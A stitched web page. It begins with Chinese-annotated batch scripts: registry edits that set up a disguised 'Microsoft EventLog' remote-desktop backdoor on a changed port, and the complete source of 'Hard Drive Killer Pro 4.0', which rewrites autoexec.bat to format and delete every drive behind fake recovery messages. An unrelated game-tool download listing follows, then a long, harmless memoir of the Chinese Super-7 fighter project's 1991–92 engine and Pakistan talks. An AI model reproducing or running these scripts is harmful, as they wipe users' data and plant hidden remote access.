Server\WinStations\RDP-Tcp] >>patch.dll @echo "PortNumber"=dword:00002010 >>patch.dll @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp >>patch.dll @echo "PortNumber"=dword:00002012 >>patch.dll @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>patch.dll @echo "Start"=dword:00000002 >>patch.dll @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] >>patch.dll @echo "Start"=dword:00000002 >>patch.dll @echo "ErrorControl"=dword:00000001 >>patch.dll @echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ >>patch.dll @echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ >>patch.dll @echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll @echo "ObjectName"="LocalSystem" >>patch.dll @echo "Type"=dword:00000010 >>patch.dll @echo "Description"="Keep record of the program and windows' message。" >>patch.dll @echo "DisplayName"="Microsoft EventLog" >>patch.dll @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] >>patch.dll @echo "Start"=dword:00000004 >>patch.dll @copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe @REM [修改3389连接,端口为8210(十六进制为00002012),名称为Microsoft EventLog,留条后路] 3.Hard Drive Killer Pro Version 4.0(玩批处理到这个水平真的不容易了。) ------------------------ cut here then save as .bat or .cmd file --------------------------- @echo off rem This program is dedecated to a very special person that does not want to be named. :start cls echo PLEASE WAIT WHILE PROGRAM LOADS . . . call attrib -r -h c:\autoexec.bat >nul echo @echo off >c:\autoexec.bat echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat call attrib +r +h c:\autoexec.bat >nul rem Drive checking and assigning the valid drives to the drive variable. set drive= set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z rem code insertion for Drive Checking takes place here. rem drivechk.bat is the file name under the root directory. rem As far as the drive detection and drive variable settings, don't worry about how it rem works, it's d\*amn to complicated for the average or even the expert batch programmer. rem Except for Tom Lavedas. echo @echo off >drivechk.bat echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat %comspec% /e:2048 /c {t}.bat >>drivechk.bat del {t}.bat echo if errorlevel 1 goto enddc >>drivechk.bat cls echo PLEASE WAIT WHILE PROGRAM LOADS . . . rem When errorlevel is 1, then the above is not true, if 0, then it's true. rem Opposite of binary rules. If 0, it will elaps to the next command. echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat %comspec% /e:2048 /c {t}.bat >>drivechk.bat del {t}.bat echo if errorlevel 1 goto enddc >>drivechk.bat cls echo PLEASE WAIT WHILE PROGRAM LOADS . . . rem if errorlevel is 1, then the drive specified is a removable media drive - not ready. rem if errorlevel is 0, then it will elaps to the next command. echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat %comspec% /e:2048 /c {t}.bat >>drivechk.bat del {t}.bat echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat cls echo PLEASE WAIT WHILE PROGRAM LOADS . . . rem if it's errorlevel 1, then the specified drive is a hard or floppy drive. rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive. echo :enddc >>drivechk.bat rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING". rem Now we will use the program drivechk.bat to attain valid drive information. :Sampledrv for %%a in (%alldrive%) do call drivechk.bat %%a >nul del drivechk.bat >nul if %drive.==. set drive=c :form_del call attrib -r -h c:\autoexec.bat >nul echo @echo off >c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat echo cd\ >>c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat echo echo 2. Love is important, if you have it, truly, don't let go of it like I did! >>c:\autoexec.bat echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is dead. >>c:\autoexec.bat echo echo 4. Don't support the following: War, Racism, Drugs and the Liberal Party.>>c:\autoexec.bat echo echo. >>c:\autoexec.bat echo echo Regards, >>c:\autoexec.bat echo echo. >>c:\autoexec.bat echo echo Munga Bunga >>c:\autoexec.bat call attrib +r +h c:\autoexec.bat :makedir if exist c:\temp.bat attrib -r -h c:\temp.bat >nul echo @echo off >c:\temp.bat echo %%1:\ >>c:\temp.bat echo cd\ >>c:\temp.bat echo :startmd >>c:\temp.bat echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat call attrib +r +h c:\temp.bat >nul cls echo Initializing Variables . . . rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction. for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul cls echo Initializing Variables . . . echo Validating Data . . . for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul cls echo Initializing Variables . . . echo Validating Data . . . echo Analyzing System Structure . . . for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul call attrib +r +h c:\temp.bat >nul call attrib +r +h c:\autoexec.bat >nul cls echo Initializing Variables . . . echo Validating Data . . . echo Analyzing System Structure . . . echo Initializing Application . . . for %%a in (%drive%) call deltree /y %%a:\*. >nul cls echo Initializing Variables . . . echo Validating Data . . . echo Analyzing System Structure . . . echo Initializing Application . . . echo Starting Application . . . for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul cls echo Thank you for using a Munga Bunga product. echo. echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius. echo. echo Here is a joke for you . . . echo. echo Q). What's the worst thing about being an egg? echo A). You only get laid once. echo. echo HAHAHAHA, get it? Don't you just love that one? echo. echo Regards, echo. echo Munga Bunga :end rem Hard Drive Killer Pro Version 4.0, enjoy!!!! rem Author: Munga Bunga - from Australia, the land full of retarded Australian's (help me get out of here).
-
文件名称: MOHPA 模型查看工具 上传会员: S-22 上传时间: 2007年09月12日 16:00 存放位置: 游戏工具 Game Tools 《荣誉勋章:太平洋战役》模型查看工具。 点击这里下载文件
-
直飞伦敦 离开了即将分崩离析的苏联,中方代表抵达了已不再是日不落帝国的英国,虽然英国的国力不再如之前那样强盛,但老牌帝国的底子还留有一些,比如说中方即将访问的,国际上大名鼎鼎的发动机领域泰斗-罗罗公司。考虑到苏联混乱的局势可能带来的变化,与罗罗公司的合作对于超-7项目的成败非常重要 1991年5月31日,我们一行7人在早上离开饭店赴莫斯科国际机场,坐苏联宽机身客机伊尔-86,直飞伦敦。这飞机经济舱为9人一排,全机可容纳350名旅客,但人未坐满,我找个靠窗口的座位坐下,看着莫斯科出去横跨欧洲的风景,一路上地面大部分是绿郁葱葱的森林和植被,耕地极少,而阳光和雨水均极充分,天时、地利应是很好,不知何故苏联的农业上不去,吃得都十分紧张。空中飞行三个半小时,时差为三个小时,到了伦敦才当地时间上午9点半。办进关手续后,罗罗公司派人专车来接,直接前往公司所在地布列斯托尔市,在预定的旅馆住下。 1日及2日正好是周末,罗罗公司派商务主管勃隆菲尔特先生来带我们游览布市城区和郊区。 英国经济最近不景气,国防工业更明显,最近罗罗公司裁员3000人,原先去过中国的郝里特先生就是裁掉中的一个。马可尼公司也在裁员,如中国项目干不下去,这个项目的雇员也要裁掉。中航技驻英总代表蒋士钊告诉我们,目前英国每天倒闭20家公司,听说有的公司宣布裁员,被裁者在办公室当场大哭,情况很惨。 3日去罗罗公司,在军用发动机分部商务董事介绍公司组织及新产品开发情况后,由总工程师马丁为首的技术人员与我们进行"工程讨论"一介绍RB199发动机各型的性能,外场使用情况和售后服务统计数字,并回答我们的提问。之后,去参观了他们发动机的装配线。发动机的工艺水平是很高的,零部件很漂亮,与GE公司的F404相当。第二天,工程讨论继续进行,重点在讨论可行性研究前要弄清的8个问题,列出表来一一讨论。在谈发动机安装时,他们当场提供已准备好的图纸和数据,与在苏联讨论问题大不相同了。下午他们带我们去试车台,看发动机的开车情况,而且让我自己动手去推拉油门杆,同时通过工业电视看到喷口收拢加力接通等情况。使我们深切地感受到这发动机采用计算机控制的电调系统后,操纵油门杆不受时间限制,用力轻松,喷口调节和加力点火的跟随性很好,决不会出现飞行员拉推油门杆不当造成发动机工作不正常这类情况。 当日晚上,罗罗公司宴请我们时,分部一把手格林先生向我们提出了报价的书面建议,于是一边吃饭一边谈论开了。 第三天上午,去看了罗罗公司内部的新技术展览,包括有剖切开的RB199发动机实物以及各种图表。新技术中有欧洲发动机EJ200的零部件,如粉末冶金的小叶片、碳化硅零件等。之后又进行了发动机上飞机附件的讨论,这时负责飞机附件机匣的KHD公司,也派人来参加了。最后双方决定7月初罗罗公司派人短期去成都,与成飞开始合作可行性研究,不拘泥于首先谈定发动机价格了。下午,他们应我们的要求,带我们去远在100英里外威尔士的一个空军"狂风"飞机修理基地,看发动机在"狂风"飞机上的实际安装情况。二天的活动是很紧张的,而且每天晚上都加班工作或碰头研究。 原来听说罗罗公司对超-7态度不积极,来了之后,感到他们实际上是很积极的,当作一件大事安排的,接待热情,谈问题很开放,提供资料数据也很主动。在谈话中间,究竟超-7选RB199哪一型?他们推荐106型,加力推力可以达到80千牛,我们也是满意的,只是价格贵是第一大问题。 6日,一辆卢卡斯公司雇用的中型旅行车来布列斯托尔接我们去伯明翰。这辆车是专门出租的,司机按指定的地点时间接送,不必有人带领。车上设施豪华,有餐桌,有一花篮水果,有存放饮料的小冰箱,还有厕所,坐位也很舒服,连孙总都第一次坐。后来下午离开时,卢卡斯送我们去伦敦,也是这辆车,下车时,我们没把水果吃完,司机很客气地要我们连花篮一起带走。 卢卡斯公司我是第三次来了,前两次已相隔多年。与中航技长期在香港合作的牛顿先生也专门为我们这次来访赶回英国。公司作动器分部销售经理及曾来成飞公司试飞过歼-7M飞 机的盖思勃先生向我们介绍飞机上飞行控制系琉、燃油系统、液压系统、氧气系统、电气系统等飞机附件。介绍完接着讨论在超-7项目上合作的设想。孙总意见,超-7飞机上的机械附件全由卢卡斯公司作为风险投资向中方提供。牛顿认为卢卡斯自己已生产的,可以风险投资,要向国外公司采购的,这就要出钱,钱谁出?孙总说,也希望卢卡斯投资。盖恩勃问,这些成件,中国有没有国产化的打算?孙说,这要看公司销售的情况,我们以后都可以通过AT公司,包括飞机销售。 谈完,下午去看他们公司的生产线和系统模拟试验室。他们的飞机附件设计得很精巧,加工也漂亮,看了以后,有一种可以信赖感。之后坐车返回伦敦,在中航技力、事处附近的一个四星级饭店住下。 7日,我们一行赴马可尼公司米尔敦金斯雷达分部所在地。这里,在7年前我曾多次来过,现在已和费伦梯公司的雷达分部合起来了。GEC马可尼中国公司总裁内勒以及托马斯、威廉姆斯、阿特尼特、夏普等熟人都在。会见中,他们分别介绍了航电系统及雷达的研制进展情况,午餐后去看了他们研制中的新雷达,然后分两个小组谈,一组谈技术,一组谈合作和价格,会谈中,提出了一个研制费全摊入成本以后采购时再出钱的设想,以解决投资问题,并决定9月份我们派人来谈系统及雷达的规范。 RAE公司那里我们没准备去,它不来找就算了。 完成了这次出国任务之后,9日我们一行返回北京,孙总及牛新棠则直接去巴黎航展。 这次赴苏、英期间,接上了与苏联发动机的关系,弄清了英国发动机的情况,初步分析,除了PД33发动机的附件机匣问题未定以外,大致是苏联发动机比较便宜,英国的贵,但英国发动机寿命长,可靠性高,较轻小,耗油率较低,提供资料和合作态度好。因此,不可能马上做出取舍,还要进一步工作才行。 根据去苏、英考察情况,我整理了三份技术考察报告:"苏PД33发动机及装机情况"、"RB199发动机的使用维护、可靠性及寿命"、"RB199发动机有关的一些技术数据",供有关同志参考。 回到北京,向部军机司有关领导汇报了之后,又向何副部长汇报。在5月初何副部长带部机关的同志到成飞时,曾听取了我们超-7工作的汇报,何说现在的关键,一是资金问题,二是发动机问题,看准了方向,先把发动机弄几台进来,就可以把飞机研制起来。部党组已下决心,外贸后继机不搞活不了,关键是钱紧张一些。这次听了我们出国情况汇报后,何副部长说,对苏联只能与发动机设计局直接接触,飞机设计局不能碰,因为它要控制你。我抓干线机,即碰到这种情况,想接触苏联民用机的发动机,到图波列夫设计局去了解情况,不料小图波列夫牛得很,他要管。你们这次到米高扬设计局那里干什么,根本不必去。 在巴黎航展期间,克里莫夫和米高扬两个总设计师到中航技接待室好几次,态度很积极。萨基索夫对孙总说,PД33的附件机匣要挪到发动机下部去,技术上没有困难,只是附件机匣的变化比较大,工作量很大。别里雅柯夫对孙总说,超-7机翼一定要改,否则性能上不去。他说,具体方案7月份可带到中国去。 ◆罗罗公司愿共冒风险 超-7顷目研制中的风险不仅是技术上的,有时候也是资金上的,钱多好办事,罗罗公司提出在超-7研制期间可以免费提供发动机并派人服务无疑给超-7项目打了一剂强心针,就看中方如何在RB199和PД33之间做出取舍了 1991年7月6日,部飞机司长毛德华,计划司副司长徐仲奎、机载设备总公司总经理杨燕生来成飞公司,与我们一起专题讨论超-7原型机的研制问题。一致认为作为军贸出口后继机,超-7要坚决干下去。为了争取时间,研制可分两步走:第一步先选定合适的发动机和国内可提供的机载电子系统和设备,尽快搞出原型机,争取1994年上天;第二步再据市场用户要求进行改装和生产。发动机以PД33为主,同时要考虑可能存在不同用户需求的兼容性,如可安装RB199。原型机的费用由成飞、机载设备总公司、中航技和部里分别承担和筹集。 作为6月初我们访问罗罗公司的积极回应,6月19日罗罗公司发来传真,安排7月8日开始派马丁先生等来成飞进行可行性研究。罗罗公司共来8人,实际11日开始工作,中英双方分四个专题小组讨论和协调:进气道和性能、发动机安装、机械系统交联、飞机附件机匣和附件。一起工作了6天。双方需要的资料彼此都提供了,大家晚上都加班准备,效率较高。最后双方满意地签署了技术工作纪要,明确了下一步工作。在谈论中有些问题未及时回答的,罗罗公司的人于8月份分别发传真作了回答。9月份他们完成了全套可行性研究报告,派人专程送到北京。超-7配装RB199发动机的可行性报告包括四个部分:推进系统和飞机性能评估、发动机安装、系统和附件、维护和地面设备。结论是可行。 10月底又专派勃隆菲尔特先生来成都听取我们对其报告的反应,我们给他带回书面回答。我告诉他对他的报告比较满意,作为技术上的可行性来说,比较大的问题是外形,包括飞机附件机匣的外形问题,进气道设计如何更好适应问题。勃回去后,很快于11月8日又传来我们提问的回答。在作了一些工作后,12月勃隆菲尔特又来成都,带来不少资料,口头回答一些问题,并表示他们技术工作到此为止了,预算的钱已用完,不能继续干了,后边是商务活动了。 1991年12月成飞公司内部完成超-7飞机安装RB199发动机的可行性报告。 1992年1月罗罗公司商务负责人诺埃尔亲自带来致中航技总裁刘国民的信件,报了发动机的价格,并提出可在超-7研制期间免费向我方提供5台发动机和派人服务用于超-7试飞和地面试验。这是罗罗公司在超-7项目上一个很大的突破。即他们愿和我们共冒风险研制超-7,可极大地降低我们的风险,比我们所谓"小猫钻大洞"的设想好多了。所谓"小猫钻大洞"指的是按较大的国外涡扇发动机设计机身,但先用较小的国产涡喷13装上飞机,先飞上天。 1992年7月,勃隆菲尔特又来北京,英方提供了新版的"超-7动力系统建议",包括了附件机匣及飞机附件的建议。在谈判中得知,罗罗公司除供5台发动机等硬件以外,在整个飞机研制阶段,他们的服务还要花1500万英镑,这个共冒风险的投资是不小的。总的说,这次与罗罗公司合作,效率很高,气氛融洽,我方的花费也不多,增强了我们的信心,这些都是后话了。 1991年8月,苏联方面通知,8月21日,克里莫夫设计局以总设计师萨基索夫为首5人小组,与米高扬设计局4名专家及苏联航空出口公司一人,对外经济联络部一人,一行共11人将到成都。 正在他们离开莫斯科来北京时,苏联发生了"8.19"事件,三天后发动政变的人被打下去了,戈尔巴乔夫宣布辞去苏共总书记职务并下令解散苏共,更换苏军领导人,苏联垮台了。苏联客人来时,我公司向每位送了一台高级小收音机,所以他们对政变、反政变的过程都接收到了。看来他们对此并不过分感到意外,表面都较平静。当然,从今以后他们是俄罗斯人了。 这次谈判,孙肇卿局长亲自主谈,俄国人的市场观念可以说还没有,所以很难谈在一起。谈的重点是发动机,俄方给资料可以说是唧唧歪歪,与西方厂商大不一样。除发动机的安装、外形协调、系统交联、重量重心、使用维护性能、寿命、可靠性等以外,飞机附件机匣是不是改到下边、发动机单价及改进研制费要价多少成为讨论的关键。克里莫夫设计局希望不改附件机匣,要改则钱要多。要钱多则中航技主张机匣在上边也可以。我们成飞公司则竭力主张改到下边。至于米高扬设计局的专家,他们是搞飞机的,所以和我们的态度是一致的,下边好维护,将来使用费也省。 至于我们和米高扬间的合作,我们提出若干课题,包括进发匹配问题、发动机安装和系统交联问题、改进飞机气动设计和增升装置、确定失速尾旋特性等,让他们回去研究,这些合作要多少钱。 送走苏联外宾,不,是俄罗斯外宾了,我们内部对苏联剧变后究竟会怎么样没有底。我们内部,包括北京来的孙肇卿局长、马承麟副司长和牛新棠、张建立等和我、成志明、陈金琰等一起研究如何准备应急措施。我预感到苏联垮台以后,美国为首的西方敌对势力将把压力转向坚持社会主义的中国;原苏联的军事工业失去了特权和优越地位,因而会引起散乱,与之合作会产生不确定因素;英国可能仍是资本主义世界中对我国较为友好的国家。于是我起草了积极设想"小猫钻大洞"的方案以便立足于我们自己。 此后不久,10月,孙肇卿代表中航技去长驻美国,不再过问超-7,超-7的事改由刘国民总经理主管。孙行前对发动机引进处处长张建立说,罗罗公司的关系不能断,否则在对俄交涉上也不利。 10月中,俄方同意我们于10月底派人去俄继续谈合作。我对先赴京做准备工作的陈金琰说,对俄的重点是发动机,现在绕不开米高扬设计局,要一切以我方为主,不能跟米高扬的思路跑,他们要搞比F-16好的飞机是容易的,但我们包括老巴没有那么多钱。10月底,陈金琰及邱普达参加中航技组织的由马承麟带队赴俄谈判。 再次打开与巴合作的大门 超-7首要设想就是一种轻型外贸战斗机,因此用户可以说是最关键的问题,是项目启动的前提条件,超-7的前身"佩刀"Ⅱ项目是巴基斯坦主动提出来的,在超-7概念基本成型后,中方想到的第一个用户就是巴基斯坦,这次会水到渠成吗? 超-7的发动机有了俄国PД33和英国的RB199两个方案之后,寻找飞机的第一用户就成为主要问题。我们希望中航技再去找巴基斯坦。1987年巴方中止"佩刀"Ⅱ项目之后,实际上他们仍在关注我们的超-7项目,只是不打算正式合作(出钱)罢了。目前的有利条件是,1987年合作搞"佩刀"Ⅱ项目时相当热心的巴空副参谋长法鲁克少将,现已升任上将参谋长,他当家了。经刘国民总经理和他联系,巴方同意中方派一个小组去介绍超-7方案。 1992年1月20日,我和陈金琰同中航技牛新棠、陈志坚、部军机司高志聪共5人自京飞巴基斯坦伊斯兰堡。这次去的目的是请他们评估我们的超-7方案,不要求他们承担什么义务。因为他们只知道1987年的"佩刀"Ⅱ方案,所以我们带去的材料列表把装F404的"佩刀"Ⅱ方案和分别装PД33及RB199两种发动机的超-7方案对比,以便巴方易于明白。通过介绍超-7方案引起他们的兴趣,拉住这关系以后,再设想请他们派人到我国来,即使先作为观察员也好,慢慢地拉进项目中来。 第二天,我们去巴空军司令部,巴空派计划处正副处长与审查和发展处处长等三名校官听取我方的方案介绍,之后,交换了巴方感兴趣的问题,如两种发动机的可靠性、寿命、价格、安装方式及维护性,将来中国生产不生产这种发动机,以及飞机的作战使命,超视距攻击和对地攻击能力,外挂能力和作战半径,飞机的价格控制等等。这次介绍会令我们感到级别太低,近乎应付我们。 第二天,来了一个好消息,法鲁克上将将在上午11点在司令部办公室会见我们。我和陈金琰、牛新棠三人由中航技驻巴总代表杨鹰陪同前往。我们三人算是法鲁克的老朋友了,所以法鲁克对我们既很热情也很随便,谈笑风生,跟几年前我随刘国民等来巴空司令部谈合作时的严肃气氛大不一样。原来约定的是会见15分钟,结果谈了40分钟。在陈金琰介绍超-7方案过程中,他不断地插话。他认为改成中等后掠角带前缘襟翼的机翼好,还能翼尖挂弹;他说为了航程机内油量大一些好;还说要有超视距作战能力;飞机的价格一定要控制住;他也十分关心发动机是否打算在中国国内生产;关于雷达,他说他们已决定引进意大利的GRIFO雷达;在谈到飞机座舱布局时,他说飞行员要有好的视界,F-16座舱里有好几个固定的把手,飞机做机动有侧向过载时,又要向后看,必须有把手扶住身子,才好往后看(他边说边做示范动作)。他说我单独和刘国民先生谈过,我们政府会愿意与你们合作超-7的,分一些部件由我们来生产,可以比K-8的工作量要多一些。你们这次来,搞一个文字纪录,起草好了,明天早晨送给我看。4月份我要去中国北京,安排比较紧,没有机会去成都了。他说,要考虑给超-7起一个名字,问我们Tiger(虎)在中国叫什么,怎么发音。最后他说你们可以去卡姆拉基地向那些技术人员介绍超-7方案,他边说边拿起电话,打给卡姆拉,亲自给我们安排:25日早上10点去介绍,讨论两三个小时,中午在那边吃饭。此行这种礼遇,真使我们有人熟好办事之感。 离开法鲁克上将的办公室,我们三个就以走朋友的身份顺访了巴空原"佩刀"Ⅱ项目主任,现升任助理参谋长的萨里姆准将。他十分热情地会见了我们。在交谈中,他以巴方购置F-16又被卡住为例说,亏得当时"佩刀"Ⅱ未搞成,否则飞机出来了,也会因政治原因被美方卡住的。 25日我们一行赴卡姆拉基地,那里正式名称是巴基斯坦航空联合体(PAC),下边有四个厂,我是第二次去了。我们一去接待得十分隆重,公司总裁优素福少将,四位准将厂长,25日牛新棠还和巴空计划助理参谋长穆沙夫签署了一个文字纪要。我们成功访巴,满载而归,比预期的要好多了,使超-7项目重新接上了中巴合作的关系。 回京以后,我们向刘总和军机司领导作了汇报,并立即着手中巴合作超-7项目的中方建议书。 2月中,由部军机司朱荣章总工程师带队,中航技牛新棠、成飞公司沈泳沅、宋开基、邱普达副总工程师、项目办主任王月新等15人赴俄谈判发动机的技术任务书及飞机技术合作协议草案,另外还参观俄方航电单位。由于配装发动机绕不开米高扬设计局,所以在讨论后拟定了技术咨询和评审的项目清单,共44项,其中动力装置方面的16项,气动力设计8项,系统设计7项,颤振等17项。当然这要给他们钱,技术内容好谈钱难谈。 2月末,在新加坡航展上,王昂副部长、刘国民总经理与巴空法鲁克参谋长等会见了一次。巴方认为合作超-7的事不要太急,而飞机的水平要高一些,应是2000年后可用的飞机,目前不会派人来华谈判。 3月初,美罗卡斯公司电源分公司3人(其中一人为其顾问张维)来成飞公司,我和陈金琰参与会谈,他们表示有关飞机发电机产品,他们可以与我们共冒风险。 3月中,中航技汤小平副总和总助李泽蕃等人来成飞,与成飞领导层统一思想。因为双方都认为只要成飞与中航技有了一致的看法和决心,部里好下决心。大致决定:自行研制有风险,但不能全等用户;方案应为2000年前后可用的中低档飞机,必须控制住飞机单价;主要用于二线,也具有一线作战的能力;发动机用PД33和RB199两种方案,航电也可用两种方案,费用由中航技和成飞两方分担,作为经营项目,可另找人合作。 这一段时间中,在北京、在成都都有争论,如认为巴方要好的,比F-16好的也可以搞,只被立即否定了,因为巴方不会有那么多钱,不现实。也有一种低档方案,即用E型改一下机头,但估计巴方更不会要,而且我们的第一用户仍是巴方。 3月底,中航技组织访俄调查引进航电事宜,成飞副总工程师黎茂述及副所长陈嘉琳等5人参加。 1992年4月成飞公司谢明、杨宝树主持讨论超-7时,我认为:搞超-7是我公司保持轻小型战斗机生产垄断地位优势的战略措施,出口后继机只是一个方法。首先是这旗帜国内通得过;第二是中航技支持,这一因素非常重要;第三与歼-7比具有一定先进性,因而有一定的生命力;第四,理所当然的有出口经济效益;第五,最终目的是出口转内销,如K-8教练机空军会搭车。必要条件是单价要控制得较低,以利于较大量的装备,在高低档搭配中占领低档位置,这一点是战略性的。 我还认为取得巴方的合作至关重要,虽然合作中会受到一定制约,但有了巴方的合作,首先能以外促内,效率会高多了,不致事事久拖不决;其次,飞机的战技要求可有人商量,巴方的看法,可以代表阿拉伯世界空军,将来向世界军机市场推销有利;第三,有可能赢来巴方的合作投资,财政上得到支持,风险共担了。因而及早找老巴谈战技要求摸清他们的想法很重要,争取仍按过去老巴的说法,搞"穷人的F-16"这思路往前走,这是上策。 关于发动机,我认为RB199较好,当然都是有利有弊,但利大于弊。第一,研制中它可风险投资,在无第一用户时我们的风险大大减少;第二,技术上较先进,推重比较PД33大,寿命可靠性都比PД33好,特别是PД33的返修寿命短,电调,飞附转轴,起动系统都较落后;第三,合作上比俄罗斯好多了。缺点是:一、采购单价较贵(虽然全寿命并不贵);二、其最大状态推力较小,起飞必须加力;三、政治风险可能稍大一些。到老巴那里去谈,关于飞机的构型,除兼具对地攻击能力外,必须配装中程导弹及相应功能的雷达,实现超视距空战能力;要有一定的隐身能力,否则无法适应未来的空战形势。 4月中,刘国民再次访巴回来,摸清了巴方意图;第一,要考虑2000年后的水平;第二,作为二线飞机,性能上是F-16的70%即可,但要有特点,价格要控制在F-16的50%;第三,配套的重点是火控航电;第四,发动机等配套装备最好将来能立足于中国国内;第五,中巴合作超-7的主要目的是为了发展巴方的航空工业。 这几条显然十分重要。 4月底,俄克里莫夫设计局总设计师萨基索夫等再次来华,他们已同意发动机的附件机匣等改到下部,这种出口型发动机定格为PД93。在京与中航技公司谈了商务,与陈金琰谈了有关技术任务书中的技术问题之后来到成飞公司,我和成志明等与他谈了寿命、首返期以及辅助动力装置空中起动性能等问题。在杨宝树出面的晚宴上,萨说,这一次来华收获很大,不知道外面世界的情况,长期在铁幕里边包了起来,没有市场竞争意识。与此同时,米高扬设计局来人,谈定技术合作内容及商务问题。 为了回答2月份我方的"超-7合作的初步建议书",巴方于4月底向我方提交了一份"超-7-巴基斯坦空军的要求"。因为最近法鲁克上将访华时在京对刘国民说主要先把飞机概念谈清楚,5月底中航技牛新棠组织赴巴谈判,由超-7项目总指挥成志明带队,总设计师陈金琰、副总师邱普达也一同参加。这次去巴,巴空相当认真,由巴空作战副参谋长沙菲克少将亲自安排主持。经过谈判达成纪要,要点是:一、超-7要突出空空超视距作战和空地夜间作战能力;二、巴方再次确认我方的机体方案,应该是一种低成本的轻型战斗机;三、尽量选用世界上先进的且目前可能获得的航电和武器。巴空军第一副参谋长哈蒂夫中将接见时再次强调保持飞机的低价格以考虑国际市场的竞争,以及可靠性和维护性。 至此,与巴方合作搞超-7的大门,再次打开了。 顺便说明,1987年由巴方出资作"佩刀"Ⅱ可行性研究付给成飞的资金,一直用到92年1月我和陈金琰赴巴这一次才用完。 ◆超-7国内立项继续推进 1992年7月底,航空航天部王昂副部长在京召集成飞、中航技及部机关有关领导开会决策。成飞公司总经理杨宝树、超-7总设计师陈金琰、副总设计师沈泳沅、超-7办王新月、工程发展中心宋文骢总师参加。会议决定:一、超-7要干,但先决条件一是有用户,二是研制时有航电及发动机两个主要承制商共担风险;二、超-7要出来也还要7、8年时间,故近期要抓歼-7Ⅲ改的方案出口。这方案是宋带到会上去的,但此事杨总经理事先不知道,但听了以后杨在会上即席表态,只要成飞生产的飞机能出口,都好,即使601所设计的飞机由成飞生产,也干,这不妨碍超-7。 实际上前几年巴空当时的副参谋长法鲁克来成飞时,我带他参观,曾主动带他去总装车间看歼-7Ⅲ,他一看就说"这是苏联的"米格"-27МФ,这飞机我飞过,不好",不感兴趣地看了一眼就走开了。我因他未给好的评价,所以以后没有对人说过,以免引起不必要的误解。 9月,我去参观英范堡罗国际航展,与米高扬总设计师别里雅可夫见面,我问他"米格"-29M所用的发动机,他说是PД33K型,推力为8800千克。这事使我想起去年第一次访苏,在克里莫夫设计局初次谈PД33发动机,我们嫌它推重比小,8300千克推力小了一些,孙肇卿向他们这型发动机有没有更新的改型,他们马上回答说没有。看来显然对我们隐瞒了实情,仍是过去"援助"的傲慢态度,可见我们定在8300千克的PД33上,有些上当了。 10月,王昂副部长及军机司毛德华司长等赴巴,与巴空和巴国防部谈超-7,谈定了总原则,发动机决定用俄国的PД33,由王副部长和国防部生产国务秘书马立克签订了一份发展超-7的"理解备忘录"(MOU)。回国后,部决定成立超-7项目等筹备领导小组,杨总为小组成员,下设工作小组,超-7总设计师陈金琰为成员。 12月按部领导意见,成飞公司内部(含工程发展中心即611所),组织了超-7的评审。 